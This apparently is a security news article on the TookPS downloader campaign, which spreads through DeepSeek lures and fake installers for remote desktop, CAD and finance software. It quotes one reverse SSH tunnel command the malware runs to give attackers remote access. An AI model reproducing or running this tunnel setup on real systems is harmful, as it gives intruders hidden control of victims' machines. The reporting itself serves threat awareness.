Hackers Leveraging DeepSeek & Remote Desktop Apps to Deliver TookPS Malware

Cybersecurity experts have uncovered a sophisticated malware campaign that initially exploited the popular DeepSeek LLM as a lure but has now expanded significantly.

In early March 2025, researchers identified malicious operations using DeepSeek as bait, but subsequent telemetry analysis has revealed the TookPS downloader is targeting users through multiple vectors, including fraudulent websites mimicking official sources for remote desktop applications and 3D modeling software.

The campaign specifically impersonates legitimate business tools including UltraViewer, AutoCAD, and SketchUp, putting both individual users and organizations at significant risk.

Additional monitoring has detected malicious executables disguised as popular software including Ableton music production suite and Quicken financial management applications, indicating the threat actors are casting a wide net to maximize infections.

Securelist security researchers identified that upon infiltrating a victim’s device, TookPS establishes communication with command and control servers using domains registered in early 2024.

The malware reaches out to its C2 infrastructure, with different samples communicating with different domains, to retrieve base64-encoded PowerShell scripts that enable persistent access to compromised systems.

The infection chain is particularly concerning as it leverages multiple stages to establish complete control.

After initial infection, TookPS contacts its command servers to download a series of three PowerShell scripts that systematically compromise the target system.

These scripts download SSH components and establish a covert tunnel between the infected device and the attacker’s server.

Further analysis shows the malware deploys modified versions of known backdoors, including a variant of Backdoor.Win32.TeviRat that uses DLL sideloading techniques to compromise TeamViewer remote access software, enabling attackers to maintain persistent access while remaining hidden from users.

The SSH Tunnel

The core of TookPS’s operation involves establishing an SSH tunnel that provides attackers with unrestricted system access.

The malware executes commands like:-

ssh.exe -N -R 41431:localhost:109 Rc7DexAU73l@$ip_address -i "$user\.ssh\Rc7DexAU73l.41431" -f

This command initiates an SSH server that creates a tunnel between the infected device and the remote server controlled by the attackers.

For authentication, it utilizes an RSA key downloaded earlier, with configuration sourced from a separate “config” file.

Through this tunnel, attackers gain full system access, allowing for arbitrary command execution and complete compromise of the victim’s environment.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try 50 Request for Free